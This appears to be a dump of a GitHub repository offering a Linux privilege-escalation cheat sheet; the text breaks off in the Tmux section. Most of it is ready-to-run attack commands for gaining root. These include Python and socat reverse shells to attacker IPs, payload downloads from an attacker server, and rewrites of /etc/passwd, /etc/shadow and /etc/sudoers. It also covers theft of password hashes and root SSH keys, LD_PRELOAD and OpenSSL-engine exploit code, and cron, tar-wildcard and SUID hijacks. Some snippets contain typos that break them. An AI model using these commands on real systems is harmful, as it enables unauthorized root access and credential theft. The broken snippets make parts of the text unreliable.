├── pspy64s ├── sucrack ├── README.md ├── linuxPrivChecker.sh ├── linEnum.sh └── linuxExploitSuggester.sh /pspy64s: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gurkylee/Linux-Privilege-Escalation-Basics/HEAD/pspy64s -------------------------------------------------------------------------------- /sucrack: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gurkylee/Linux-Privilege-Escalation-Basics/HEAD/sucrack -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Privilege Escalation Methods 2 | 3 | - Basic System Enumeration 4 | - Bash History 5 | - OpenVPN Credentials 6 | - Credentials in tcpdump files 7 | - Writable Files 8 | - SSH Private Keys 9 | - Kernel Expliots 10 | - Sudo -l 11 | - Sudo CVE 12 | - Sudo LD_PRELOAD 13 | - SUID / GUID Binaries 14 | - SUID PATH Environmental Variable 15 | - Cron Tabs & Scheduled Tasks 16 | - Capabilities (Python - Perl - Tar - OpenSSL) 17 | - NFS Root Squashing 18 | - chkrootkit 0.49 19 | - Tmux (Attach Session) 20 | - Screen (Attach Session) 21 | - MySQL Running as root 22 | - MySQL UDF (User-Defined Functions) Code (UDF) Injection 23 | - Sudo Injection (Sudo Token) 24 | - LXD (Container & Alphine Image) 25 | 26 | 27 | 28 | # Basic System Enumeration 29 | 30 | ``` 31 | uname -a 32 | hostname 33 | lscpu 34 | ls /home 35 | ls /var/www/html 36 | ls /var/www/ 37 | ps aux | grep root 38 | netstat -tulpn 39 | ps -aux | grep root | grep mysql 40 | ifconfig 41 | find . -type f -exec grep -i -I "PASSWORD=" {} /dev/null \; 42 | locate pass | more 43 | ``` 44 | # Bash History 45 | 46 | ``` 47 | history 48 | cat /home//.bash_history 49 | cat ~/.bash_history | grep -i passw 50 | ``` 51 | 52 | # OpenVPN Credentials 53 | 54 | ``` 55 | locate *.ovpn 56 | ``` 57 | 58 | # Credentials in tcpdump files 59 | 60 | ``` 61 | tcpdump -nt -r capture.pcap -A 2>/dev/null | grep -P 'pwd=' 62 | ``` 63 | 64 | # Writable Password Files 65 | If you have write permission to the following files: 66 | 67 | - /etc/passwd 68 | - /etc/shadow 69 | - /etc/sudoers 70 | 71 | 72 | 73 | /etc/passwd 74 | ``` 75 | echo 'root2::0:0::/root:/bin/bash' >> /etc/passwd 76 | su - root2 77 | id && whoami 78 | 79 | // Add new user to the system with GID and UID of 0 80 | 81 | OR 82 | 83 | vi /etc/passwd 84 | Remote X (Password Holder) for root 85 | wg! 86 | su root 87 | id && whoami 88 | 89 | // Remove root's password 90 | 91 | OR 92 | 93 | echo root::0:0:root:/root:/bin/bash > /etc/passwd 94 | id && whomai 95 | 96 | OR 97 | 98 | openssl passwd -1 -salt ignite NewRootPassword 99 | Copy output 100 | echo "root2::0:0:root:/root:/bin/bash" >> /etc/passwd 101 | Replace with the copied output 102 | su root2 103 | id && whoami 104 | 105 | ``` 106 | /etc/shadow 107 | ``` 108 | 109 | Run python -c "import crypt; print crypt.crypt('NewRootPassword')" 110 | Copy the output 111 | vi /etc/shadow 112 | Replace root's hash with the output that you generated 113 | wq! 114 | su root 115 | id && whoami 116 | 117 | ``` 118 | /etc/sudoers 119 | ``` 120 | echo " ALL=(ALL:ALL) ALL" >> /etc/sudoers // Replace "Username" with your current user (Example: www-data) 121 | sudo su 122 | id && whoami 123 | 124 | ``` 125 | # SSH Private Keys 126 | 127 | 128 | 129 | ``` 130 | find / -name authorized_keys 2> /dev/null // Any Public Keys? 131 | find / -name id_rsa 2> /dev/null // Any SSH private keys? 132 | 133 | Copy id_rsa contents of keys found with the above command 134 | Create a local file on your box and paste the content in 135 | chmod 600 136 | ssh -i user@IP 137 | 138 | // Is the key password protected? 139 | 140 | ssh2john > hash 141 | john hash --wordlist=/usr/share/wordlists/rockyou.txt 142 | 143 | ``` 144 | 145 | # Kernel Expliots 146 | 147 | 148 | ``` 149 | uname -a // What OS kernel are we using? 150 | 151 | // Google Search (Example): 4.4.0-116-generic #140-Ubuntu Expliots OR 4.4.0-116-generic #140-Ubuntu PoC github 152 | // Read the expliots and follow the instructions 153 | // Popular Linux Kernel Exploits 154 | 155 | Dirty COW (CVE-2016-5195) 156 | URL: https://dirtycow.ninja/ 157 | 158 | Other Kernel Expliots 159 | URL: https://github.com/SecWiki/linux-kernel-exploits 160 | 161 | ``` 162 | 163 | # Sudo -l 164 | 165 | Sudo -l 166 | 167 | What binaries can we execute with Sudo? 168 | 169 | Example Output 170 | 171 | User www-data may run the following commands on 172 | 173 | - (root) NOPASSWD: /usr/bin/find 174 | - (root) NOPASSWD: /usr/bin/nmap 175 | - (root) NOPASSWD: /usr/bin/env 176 | - (root) NOPASSWD: /usr/bin/vim 177 | - (root) NOPASSWD: /usr/bin/awk 178 | - (root) NOPASSWD: /usr/bin/perl 179 | - (root) NOPASSWD: /usr/bin/python 180 | - (root) NOPASSWD: /usr/bin/less 181 | - (root) NOPASSWD: /usr/bin/man 182 | - (root) NOPASSWD: /usr/bin/ftp 183 | - (root) NOPASSWD: /usr/bin/socat 184 | - (root) NOPASSWD: /usr/bin/zip 185 | - (root) NOPASSWD: /usr/bin/gcc 186 | - (root) NOPASSWD: /usr/bin/docker 187 | - (root) NOPASSWD: /usr/bin/env 188 | - (root) NOPASSWD: /usr/bin/MySQL 189 | - (root) NOPASSWD: /usr/bin/ssh 190 | - (root) NOPASSWD: /usr/bin/tmux 191 | - (root) NOPASSWD: /usr/bin/pkexec 192 | - (root) NOPASSWD: /usr/bin/rlwrap 193 | - (root) NOPASSWD: /usr/bin/xargs 194 | - (root) NOPASSWD: /usr/bin/anansi_util 195 | - (root) NOPASSWD: /usr/bin/apt-get 196 | - (root) NOPASSWD: /usr/bin/flask run 197 | - (root) NOPASSWD: /usr/bin/apache2 198 | - (root) NOPASSWD: /usr/bin/wget 199 | 200 | 201 | Absuing Sudo binaries to gain root 202 | ---------------------------------------------------- 203 | Find 204 | ``` 205 | sudo find / etc/passwd -exec /bin/bash \; 206 | ``` 207 | ``` 208 | find . -exec chmod -R 777 /root \; 209 | ``` 210 | ``` 211 | find . -exec usermod -aG sudo user \; 212 | ``` 213 | ``` 214 | sudo find /home -exec /bin/bash \; 215 | ``` 216 | 217 | Nmap 218 | ``` 219 | echo "os.execute('/bin/bash/')" > /tmp/shell.nse && sudo nmap --script=/tmp/shell.nse 220 | ``` 221 | ``` 222 | $ sudo nmap --interactive 223 | > !sh 224 | ``` 225 | 226 | Env 227 | ``` 228 | sudo env /bin/bash 229 | ``` 230 | 231 | Vim 232 | ``` 233 | sudo vim -c ':!/bin/bash' 234 | ``` 235 | 236 | Awk 237 | ``` 238 | sudo awk 'BEGIN {system("/bin/bash")}' 239 | ``` 240 | 241 | Perl 242 | ``` 243 | sudo perl -e 'exec "/bin/bash";' 244 | ``` 245 | 246 | Python 247 | ``` 248 | sudo python -c 'import pty;pty.spawn("/bin/bash")' 249 | ``` 250 | ``` 251 | sudo python -c 'import os; os.execl("/bin/sh", "sh", "-p")' 252 | ``` 253 | ``` 254 | (root) SETENV: NOPASSWD: /usr/bin/python3 /home/user/python_script.py 255 | //There is some kinda python lib hijacking. In short, to hijack, follow the steps: 256 | //get the location of python library (which is being used), in our case its /usr/lib/python3.8/ 257 | //copy the example.py file to /tmp 258 | //cp /usr/lib/python3.8/example.py /tmp/example.py 259 | //add the reverse shell in the example.py file (where ever you want) 260 | //reverse shell used: 261 | import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("your_IP",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh") 262 | //Start the listener 263 | nc -lnvp 1234 264 | //to get the shell, run the command 265 | sudo PYTHONPATH=/tmp/ /usr/bin/python3 /home/user/python_script.py (which includes example.py library) 266 | //The PYTHONPATH environment variable indicates a directory (or directories), where Python can search for modules to import. 267 | ``` 268 | 269 | Less 270 | ``` 271 | sudo less /etc/hosts - !bash 272 | ``` 273 | 274 | Man 275 | ``` 276 | sudo man man - !bash 277 | ``` 278 | 279 | ftp 280 | ``` 281 | sudo ftp - ! /bin/bash 282 | ``` 283 | 284 | socat 285 | ``` 286 | Attacker = socat file:`tty`,raw,echo=0 tcp-listen:1234 287 | Victim = sudo socat exec:'sh -li',pty,stderr,setsid,sigint,sane tcp:192.168.1.105:1234 288 | ``` 289 | 290 | Zip 291 | ``` 292 | echo test > notes.txt 293 | sudo zip test.zip notes.txt -T --unzip-command="sh -c /bin/bash" 294 | ``` 295 | 296 | gcc 297 | ``` 298 | sudo gcc -wrapper /bin/bash,-s . 299 | ``` 300 | 301 | Docker 302 | ``` 303 | sudo docker run -v /:/mnt --rm -it alpine chroot /mnt sh 304 | ``` 305 | 306 | MySQL 307 | ``` 308 | sudo mysql -e '\! /bin/sh' 309 | ``` 310 | 311 | SSH 312 | ``` 313 | sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x 314 | ``` 315 | 316 | Tmux 317 | ``` 318 | Sudo tmux 319 | ``` 320 | 321 | pkexec 322 | ``` 323 | sudo pkexec /bin/bash 324 | ``` 325 | ``` 326 | If user is a member of the sudo group, we can escalate our privileges using pkexec 327 | pkexec allows an authorized user to execute commands as another user. 328 | Therefore, we could have used pkexec /bin/bash to spawn a shell as root. 329 | However, there is known issue that “pkexec fails in a non-graphical environment” 330 | https://bugs.launchpad.net/ubuntu/+source/policykit-1/+bug/1821415 331 | To solve this, we needed to create two SSH connections as user drac 332 | Following was the process: 333 | Opened two SSH connections as user drac 334 | On the first session ran – echo $$ 335 | On the second session ran – pkttyagent -p {pid} 336 | Replaced {pid} with the output received for the echo $$ command 337 | On the first session, ran – pkexec /bin/bash 338 | On the second session, entered the password for drac 339 | All done! Root shell was spawned on the first session. 340 | ``` 341 | 342 | rlwrap 343 | ``` 344 | sudo rlwrap /bin/bash 345 | ``` 346 | 347 | xargs 348 | ``` 349 | sudo xargs -a /dev/null sh 350 | ``` 351 | 352 | anansi_util 353 | ``` 354 | sudo /home/anansi/bin/anansi_util manual /bin/bash 355 | ``` 356 | 357 | apt-get 358 | ``` 359 | sudo apt-get update -o APT::Update::Pre-Invoke::=”/bin/bash -i” 360 | ``` 361 | 362 | flask run 363 | ``` 364 | echo 'import pty; pty.spawn(“/bin/bash”)' > flask.py 365 | export FLASK_APP=flask.py 366 | sudo /usr/bin/flask run 367 | ``` 368 | 369 | apache2 370 | 371 | Victim 372 | ``` 373 | sudo apache2 -f /etc/shadow 374 | Copy root's hash 375 | ``` 376 | Attacker 377 | ``` 378 | echo '' > hash 379 | john hash --wordlist=/usr/share/wordlists/rockyou.txt 380 | 381 | // Replace with the hash that you copied 382 | ``` 383 | Back to Victim 384 | ``` 385 | su root 386 | id && whoami 387 | ``` 388 | Wget 389 | 390 | Victim 391 | ``` 392 | cp /etc/passwd /tmp/passwd 393 | cat /etc/passwd 394 | 395 | ``` 396 | Attacker 397 | 398 | ``` 399 | Copy /etc/passwd content and put in a local file called passwd 400 | Run python -c "import crypt; print crypt.crypt('NewRootPassword')" 401 | Copy output of the above command 402 | edit passwd 403 | Replace x in root's line with the copied output 404 | Save the file 405 | python -m SimpleHTTPServer 9000 // You can use any port 406 | ``` 407 | 408 | Victim 409 | 410 | ``` 411 | sudo wget http://:9000/passwd -O /etc/passwd 412 | su root // Enter the new root password you generated (Example: NewRootPassword) 413 | id && whoami 414 | ``` 415 | 416 | 417 | # Sudo CVE 418 | Expliot sudo with known CVE 419 | 420 | CVE: 421 | 422 | - CVE-2019-14287 423 | - CVE-2019-16634 424 | 425 | CVE-2019-14287 426 | 427 | sudo -V // Get sudo version 428 | sudo -l 429 | 430 | Vulnerable output 431 | Output = (ALL,!root) NOPASSWD: /bin/bash 432 | 433 | ``` 434 | sudo -u#-1 /bin/bash 435 | id && whoami 436 | 437 | ``` 438 | 439 | CVE-2019-16634 440 | 441 | sudo -V // Get sudo version 442 | 443 | sudo su root // If you type root's password , can you see the *****? // That means pw_feedback is enabled 444 | 445 | Expliot PoC: https://github.com/saleemrashid/sudo-cve-2019-18634 446 | 447 | Download expliot.c 448 | Upload to Victim 449 | 450 | Attacker 451 | ``` 452 | python -m SimpleHTTPServer 9000 // You can use any port 453 | 454 | ``` 455 | 456 | Victim 457 | 458 | ``` 459 | wget http://:9000/expliot.c 460 | Compile expliot.c: gcc expliot.c -o expliot 461 | ./expliot 462 | id && whoami 463 | ``` 464 | 465 | # Sudo LD_PRELOAD 466 | 467 | sudo -l 468 | 469 | Example Output: env_reset, env_keep+=LD_PRELOAD // Do you have the same output with sudo binary rights? 470 | 471 | Expliot 472 | 473 | ``` 474 | 475 | cd /tmp 476 | vi priv.c 477 | 478 | #include 479 | #include 480 | #include 481 | 482 | void _init() { 483 | unsetenv("LD_PRELOAD"); 484 | setgid(0); 485 | setuid(0); 486 | system("/bin/bash"); 487 | } 488 | 489 | Compile priv.c: gcc -fPIC -shared -o priv.so priv.c -nostartfiles 490 | Command: sudo LD_PRELOAD=/tmp/priv.so awk // awk can be replaced with any sudo binary 491 | ``` 492 | 493 | # SUID / GUID Binaries Overview 494 | 495 | 496 | SUID: Set User ID is a type of permission that allows users to execute a file with the permissions of a specified user. Those files which have suid permissions run with higher privileges. Assume we are accessing the target system as a non-root user and we found suid bit enabled binaries, then those file/program/command can run with root privileges. 497 | 498 | Basically, you can change the permission of any file either using the “Numerical” method or “Symbolic” method. As result, it will replace x from s as shown in the below image which denotes especial execution permission with the higher privilege to a particular file/command. Since we are enabling SUID for Owner (user) therefore bit 4 or symbol s will be added before read/write/execution operation. 499 | Basic Enumeration 500 | 501 | GUID permission is similar to the SUID permission, only difference is – when the script or command with SGID on is run, it runs as if it were a member of the same group in which the file is a member 502 | 503 | Enumeration: 504 | 505 | ``` 506 | find / -perm -u=s -type f 2>/dev/null | xargs ls -l 507 | find / -perm -g=s -type f 2>/dev/null | xargs ls -l 508 | find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \; 509 | find / -uid 0 -perm -4000 -type f 2>/dev/null 510 | find / \( -perm -u+s -or -perm -g+s \) -type f -exec ls -l {} \; 2>/dev/null 511 | find / -group [user] 2>/dev/null 512 | find / -user xxx 513 | find / -user -type f 2>&1 | grep -v “Permission” | grep -v “No such” 514 | 515 | // Look for any binaries that seem odd. Any binaries running from a users home directory? 516 | // Check the version of any odd binaries and see if there are any public expliots that can be used to gain root 517 | 518 | 519 | ``` 520 | 521 | # SUID PATH Environmental Variable 522 | 523 | PATH is an environmental variable in Linux and Unix-like operating systems which specifies all bin and sbin directories that hold all executable programs are stored. When the user run any command on the terminal, its request to the shell to search for executable files with the help of PATH Variable in response to commands executed by a user. The superuser also usually has /sbin and /usr/sbin entries for easily executing system administration commands. 524 | 525 | View PATH 526 | 527 | ``` 528 | echo $PATH 529 | env | grep PATH 530 | print $PATH 531 | ``` 532 | Example 1 533 | 534 | Create a Simple Basic SUID binary 535 | 536 | ``` 537 | cd /home/max/ 538 | vi test.c 539 | 540 | #include 541 | void main() 542 | { setuid(0); 543 | setgid(0); 544 | system("curl -I 127.0.0.1"); 545 | 546 | } 547 | ``` 548 | Compile Binary & Add SUID Bit 549 | 550 | ``` 551 | gcc test.c -o network-tester 552 | chmod u+s network-tester 553 | mv network-tester /bin/tools/ 554 | ``` 555 | Example 1 (Without full bin path) 556 | 557 | Privilege Escalation 558 | 559 | ``` 560 | Find the SUID Binary 561 | 562 | find / -perm -u=s -type f 2>/dev/null | xargs ls -l 563 | Output Example: /bin/tools/network-tester 564 | ls -la /bin/tools/network-tester 565 | 566 | Test the SUID Binary 567 | 568 | /bin/tools/network-tester 569 | strings /bin/tools/network-tester 570 | Output Example: curl -I 127.0.0.1 571 | 572 | Absue the SUID Binary 573 | 574 | echo "/bin/bash" > /tmp/curl 575 | chmod 777 /tmp/curl 576 | echo $PATH 577 | export PATH=/tmp:$PATH 578 | /bin/tools/network-tester 579 | id && whoami 580 | ``` 581 | 582 | Example 3 (Without full bin path) 583 | 584 | Privilege Escalation 585 | 586 | ``` 587 | Find the SUID Binary 588 | 589 | find / -perm -u=s -type f 2>/dev/null | xargs ls -l 590 | Output Example: /bin/tools/webserver-status 591 | ls -la /bin/tools/webserver-status 592 | 593 | Test the SUID Binary 594 | 595 | /bin/tools/webserver-status 596 | strings /bin/tools/webserver-status 597 | Output Example: service apache2 status 598 | 599 | Absue the SUID Binary 600 | 601 | echo 'int mian() { setgid(0); setuid(0); system("/bin/bash"); return 0;}' > /tmp/service.c 602 | gcc /tmp/service.c -o /tmp/service 603 | chmod 777 /tmp/service 604 | export PATH=/tmp:$PATH 605 | echo $PATH 606 | /bin/tools/webserver-status 607 | id && whoami 608 | ``` 609 | 610 | Example 4 (With full bin path) 611 | 612 | Privilege Escalation 613 | 614 | ``` 615 | Find the SUID Binary 616 | 617 | find / -perm -u=s -type f 2>/dev/null | xargs ls -l 618 | Output Example: /bin/tools/webserver-status 619 | ls -la /bin/tools/webserver-status 620 | 621 | Test the SUID Binary 622 | 623 | /bin/tools/webserver-status 624 | strings /bin/tools/webserver-status 625 | Output Example: /usr/sbin/service apache2 status 626 | 627 | Absue the SUID Binary 628 | 629 | fucntion /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } 630 | export -f /usr/sbin/service 631 | /bin/tools/webserver-status 632 | id && whoami 633 | ``` 634 | 635 | Example 5 (/bin/systemctl) 636 | 637 | Privilege Escalation 638 | 639 | Copy line by line inside the victim low priv shell 640 | ``` 641 | TF=$(mktemp).service 642 | echo '[Service] 643 | Type=oneshot 644 | ExecStart=/bin/sh -c "chmod +s /bin/bash > /tmp/output" 645 | [Install] 646 | WantedBy=multi-user.target' > $TF 647 | systemctl link $TF 648 | systemctl enable --now $TF 649 | /bin/bash -p 650 | id && whoami 651 | ``` 652 | OR 653 | ``` 654 | //Edit .service file 655 | [Unit] 656 | Description=vsftpd FTP server 657 | After=network.target 658 | 659 | [Service] 660 | Type=simple 661 | User=root 662 | ExecStart=/bin/bash -c 'cp /bin/bash /tmp/bash; chmod +xs /tmp/bash' 663 | #ExecReload=/bin/kill -HUP $MAINPID 664 | #ExecStartPre=-/bin/mkdir -p /var/run/vsftpd/empty 665 | 666 | [Install] 667 | WantedBy=multi-user.target 668 | 669 | //Reload daemon 670 | systemctl daemon-reload //enter user pass after this 671 | 672 | //run the bash to escalate 673 | ``` 674 | 675 | Example 5 (Copy - /bin/cp) 676 | 677 | Privilege Escalation 678 | 679 | Victim 680 | ``` 681 | find / -perm -u=s -type f 2>/dev/null | xargs ls -l 682 | Copy the contents of /etc/passwd to your local machine inside a new file called "passwd" 683 | ``` 684 | Attacker 685 | ``` 686 | Run the following command locally: openssl passwd -1 -salt ignite NewRootPassword 687 | Copy the output 688 | Add the following inside the local passwd file 689 | echo "root2::0:0:root:/root:/bin/bash" >> passwd // Replace with the copied output 690 | python -m SimpleHTTPServer 9000 691 | ``` 692 | Victim 693 | ``` 694 | wget -O /tmp/passwd http://10.10.10.10:9000/passwd 695 | cp /tmp/passwd /etc/passwd 696 | su root2 697 | Password: NewRootPassword 698 | id && whoami 699 | 700 | // Replace Attacker IP & Port 701 | ``` 702 | Bonus Example 703 | ``` 704 | sudo -u#-1 /usr/bin/vi /home/user/text.txt //don't forget to try CVE-2019-14287 705 | ``` 706 | # Cron Tabs & Scheduled Tasks 707 | 708 | Cron jobs is a time-based job scheduler in Unix-like computer operating systems. Users that set up and maintain software environments use cron to schedule jobs to run periodically at fixed times, dates, or intervals 709 | 710 | Enumeration 711 | 712 | ``` 713 | contab -l 714 | /etc/init.d 715 | /etc/cron* 716 | /etc/crontab 717 | /etc/cron.allow 718 | /etc/cron.d 719 | /etc/cron.deny 720 | /etc/cron.daily 721 | /etc/cron.hourly 722 | /etc/cron.monthly 723 | /etc/cron.weekly 724 | ``` 725 | Example 1 726 | 727 | Privilege Escalation via Nonexistent File Overwrite 728 | 729 | ``` 730 | cat /etc/crontab 731 | Output Example: * * * * * root systemupdate.sh 732 | echo 'chmod +s /bin/bash' > /home/user/systemupdate.sh 733 | chmod +x /home/user/systemupdate.sh 734 | Wait a while 735 | /bin/bash -p 736 | id && whoami 737 | ``` 738 | 739 | Example 2 740 | 741 | Privilege Escalation via Root Executable Bash Script 742 | 743 | ``` 744 | cat /etc/crontab 745 | Output Example: * * * * * root /usr/bin/local/network-test.sh 746 | echo "chmod +s /bin/bash" >> /usr/bin/local/network-test.sh 747 | Wait a while 748 | id && whomai 749 | ``` 750 | 751 | Example 3 752 | 753 | Privilege Escalation via Root Executable Python Script Overwrite 754 | 755 | Target 756 | 757 | ``` 758 | cat /etc/crontab 759 | Output Example: * * * * * root /var/www/html/web-backup.py 760 | cd /var/www/html/ 761 | vi web-backup.py 762 | Add the below to the script: 763 | 764 | import socket 765 | import subprocess 766 | import os 767 | 768 | s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); 769 | s.connect(("10.10.10.10",443)); 770 | os.dup2(s.fileno(),0); 771 | os.dup2(s.fileno(),1); 772 | os.dup2(s.fileno(),2); 773 | p=subprocess.call(["/bin/bash","-i"]); 774 | 775 | // Replace the IP & Port 776 | 777 | // Save & Exit the Script 778 | ``` 779 | Attacker 780 | 781 | ``` 782 | nc -lvnp 443 783 | ``` 784 | 785 | OR 786 | 787 | Target 788 | 789 | ``` 790 | cat /etc/crontab 791 | Output Example: * * * * * root /var/www/html/web-backup.py 792 | cd /var/www/html/ 793 | vi web-backup.py 794 | Add the below to the script: 795 | 796 | import os 797 | 798 | os.system("chmod +s /bin/bash") 799 | 800 | // Save & Exit the Script 801 | 802 | Wait a While 803 | /bin/bash -p 804 | id && whoami 805 | ``` 806 | 807 | Example 4 808 | 809 | Privilege Escalation via Tar Bash Script (WildCards) 810 | 811 | ``` 812 | cat /etc/crontab 813 | Output Example: * * * * * root /usr/bin/local/mysql-db-backup.sh 814 | cat /usr/bin/local/mysql-db-backup.sh 815 | Output of Script: 816 | -------------------------------- 817 | #!/bin/bash 818 | 819 | cd /var/www/html/ 820 | tar czf /tmp/dbbackup.tar.gz * 821 | -------------------------------- 822 | cd /var/www/html/ 823 | echo "#!/bin/bash" > priv.sh 824 | echo "chmod +s /bin/bash" >> priv.sh 825 | chmod +x priv.sh 826 | touch /var/www/html/--checkpoint=1 827 | touch /var/www/html/--checkpoint-action=exec=sh\ priv.sh 828 | Wait a while 829 | /bin/bash -p 830 | id && whomai 831 | ``` 832 | Example 5 833 | 834 | Privilege Escalation via Tar Cron Job 835 | 836 | ``` 837 | cat /etc/crontab 838 | Output Example: */1 * * * * root tar -zcf /var/backups/html.tgz /var/www/html/* 839 | cd /var/www/html/ 840 | echo "chmod +s /bin/bash" > priv.sh 841 | echo "" > "--checkpoint-action=exec=bash priv.sh 842 | echo "" > --checkpoint=1 843 | tar cf archive.tar * 844 | 845 | // If it does not work , replace "bash" with "sh" 846 | ``` 847 | 848 | 849 | # Capabilities 850 | 851 | Linux capabilities are special attributes in the Linux kernel that grant processes and binary executables specific privileges that are normally reserved for processes whose effective user ID is 0 (The root user, and only the root user, has UID 0). 852 | 853 | Capabilities are those permissions that divide the privileges of kernel user or kernel level programs into small pieces so that a process can be allowed sufficient power to perform specific privileged tasks. 854 | 855 | Essentially, the goal of capabilities is to divide the power of 'root' into specific privileges, so that if a process or binary that has one or more capability is exploited, the potential damage is limited when compared to the same process running as root. 856 | 857 | Capabilities can be set on processes and executable files. A process resulting from the execution of a file can gain the capabilities of that file. 858 | 859 | - Python 860 | - Perl 861 | - Tar 862 | - OpenSSL 863 | 864 | Python 865 | 866 | ``` 867 | getcap -r / 2>/dev/null 868 | /usr/bin/python2.6 = cap_setuid+ep 869 | /usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")' 870 | id && whoami 871 | 872 | OR 873 | 874 | getcap -r / 2>/dev/null 875 | /usr/bin/python3 = cap_setuid+ep 876 | /usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")' 877 | id && whoami 878 | ``` 879 | 880 | Perl 881 | 882 | ``` 883 | getcap -r / 2>/dev/null 884 | /usr/bin/perl = cap_setuid+ep 885 | /usr/bin/perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";' 886 | id && whoami 887 | ``` 888 | 889 | Tar 890 | 891 | Method 1 892 | ``` 893 | Victim 894 | 895 | getcap -r / 2>/dev/null 896 | /usr/bin/tar = cap dac read search+ep 897 | /usr/bin/tar -cvf shadow.tar /etc/shadow 898 | /usr/bin/tar -xvf shadow.tar 899 | cat etc/shadow 900 | Copy content of users accounts to a local file called shadow 901 | 902 | Attacker 903 | 904 | john shadow --wordlist=/usr/share/wordlists/rockyou.txt 905 | Crack root's credentials 906 | 907 | Victim 908 | 909 | su root 910 | id && whoami 911 | ``` 912 | Method 2 913 | 914 | ``` 915 | Victim 916 | 917 | getcap -r / 2>/dev/null 918 | /usr/bin/tar = cap dac read search+ep 919 | /usr/bin/tar -cvf key.tar /root/.ssh/id_rsa 920 | /usr/bin/tar -xvf key.tar 921 | cat id_rsa 922 | # Download id_rsa to attacker machine 923 | 924 | Attacker 925 | 926 | chmod 600 id_rsa 927 | ssh -i id_rsa root@ 928 | id && whoami 929 | 930 | ``` 931 | 932 | OpenSSL 933 | 934 | Victim 935 | ``` 936 | getcap -r / 2>/dev/null 937 | /usr/bin/openssl = cap_setuid+ep 938 | ``` 939 | 940 | Attacker 941 | Create a .so file - Code below 942 | vi priv.c 943 | ``` 944 | #include 945 | #include 946 | #include 947 | #include 948 | #include 949 | 950 | static const char *engine_id = "test"; 951 | static const char *engine_name = "hope it works"; 952 | 953 | static int bind(ENGINE *e, const char *id) 954 | { 955 | int ret = 0; 956 | 957 | if (!ENGINE_set_id(e, engine_id)) { 958 | fprintf(stderr, "ENGINE_set_id failed\n"); 959 | goto end; 960 | } 961 | if (!ENGINE_set_name(e, engine_name)) { 962 | printf("ENGINE_set_name failed\n"); 963 | goto end; 964 | } 965 | setuid(0); 966 | setgid(0); 967 | system("chmod +s /bin/bash"); 968 | system("echo Complete!"); 969 | ret = 1; 970 | end: 971 | return ret; 972 | } 973 | 974 | IMPLEMENT_DYNAMIC_BIND_FN(bind) 975 | IMPLEMENT_DYNAMIC_CHECK_FN() 976 | 977 | ``` 978 | 979 | Compile Code & Create .so file 980 | 981 | ``` 982 | gcc -c fPIC priv.c -o priv 983 | gcc -shared -o priv.so -lcrypto priv 984 | ``` 985 | 986 | Victim 987 | 988 | Download .so from Attacker 989 | 990 | ``` 991 | wget -O /tmp/priv.so http://10.10.10.10:9000/priv.so 992 | 993 | // Replace IP & Port 994 | ``` 995 | Get Root 996 | 997 | ``` 998 | openssl req -engine /tmp/priv.so 999 | /bin/bash -p 1000 | id && whoami 1001 | ``` 1002 | 1003 | # NFS Root Squashing 1004 | 1005 | Network File System (NFS): Network File System permits a user on a client machine to mount the shared files or directories over a network. NFS uses Remote Procedure Calls (RPC) to route requests between clients and servers. Although NFS uses TCP/UDP port 2049 for sharing any files/directories over a network. 1006 | 1007 | - rw: Permit clients to read as well as write access to the shared directory. 1008 | 1009 | - ro: Permit clients to Read-only access to shared directory. 1010 | 1011 | - root_squash: This option Prevents file request made by user root on the client machine because NFS shares change the root user to the nfsnobody user, which is an unprivileged user account. 1012 | 1013 | - no_root_squash: This option basically gives authority to the root user on the client to access files on the NFS server as root. And this can lead to serious security implication. 1014 | 1015 | - async: It will speed up transfers but can cause data corruption as NFS server doesn’t wait for the complete write operation to be finished on the stable storage, before replying to the client. 1016 | 1017 | - sync: The sync option does the inverse of async option where the NFS server will reply to the client only after the data is finally written to the stable storage. 1018 | 1019 | Enumeration 1020 | 1021 | ``` 1022 | Victim 1023 | 1024 | 1025 | cat /etc/exports // Do we see any no_root_squash enabled on a mounted share? 1026 | 1027 | /tmp *(rw,sync,insecure,no_root_squash,no,subtree,check) 1028 | 1029 | Attacker 1030 | 1031 | nmap -sV --script=nfs-showmount 1032 | 1033 | ``` 1034 | Privilege Escalation 1035 | 1036 | Attacker 1037 | 1038 | ``` 1039 | 1040 | showmount -e 1041 | mkdir /tmp/mount 1042 | mount -o rw,vers=2 :/tmp /tmp/mount 1043 | echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/mount/priv.c 1044 | gcc /tmp/mount/priv.c -o /tmp/mount/priv 1045 | chmod +s /tmp/mount/priv 1046 | 1047 | OR 1048 | 1049 | showmount -e 1050 | mkdir /tmp/mount 1051 | mount -o rw,vers=2 :/tmp /tmp/mount 1052 | cd /tmp/mount 1053 | cp /bin/bash . 1054 | chmod +s bash 1055 | ``` 1056 | ``` 1057 | Victim 1058 | 1059 | cd /tmp 1060 | ./priv 1061 | id && whoami 1062 | 1063 | OR 1064 | 1065 | cd /tmp 1066 | ./bash -p 1067 | id && whoami 1068 | ``` 1069 | 1070 | # chkrootkit 0.49 1071 | 1072 | ``` 1073 | Expliot: https://www.exploit-db.com/exploits/33899 1074 | 1075 | cat /etc/cron.daily 1076 | 1077 | /usr/bin/chkrootkit 1078 | ls -la /usr/bin/chkrootkit // Do we have SUID? 1079 | chkrootkit -V 1080 | echo "#!/bin/bash" > /tmp/update 1081 | echo "chmod +s /bin/bash" >> /tmp/update 1082 | Wait a While ... 1083 | /bin/bash -p 1084 | id && whoami 1085 | ``` 1086 | 1087 | # Tmux 1088 | 1089 | tmux is a terminal multiplexer for Unix-like operating systems. 1090 | 1091 | It allows multiple terminal sessions to be accessed simultaneously in a single window. 1092 | 1093 | It is useful for running more than one command-line program at the same time. 1094 | 1095 | Tmux Cheat Sheet: https://tmuxcheatsheet.com/ 1096 | 1097 | Privilege Escalation 1098 | 1099 | ``` 1100 | tmux list-sessions // Any Tmux sessions running as root? 1101 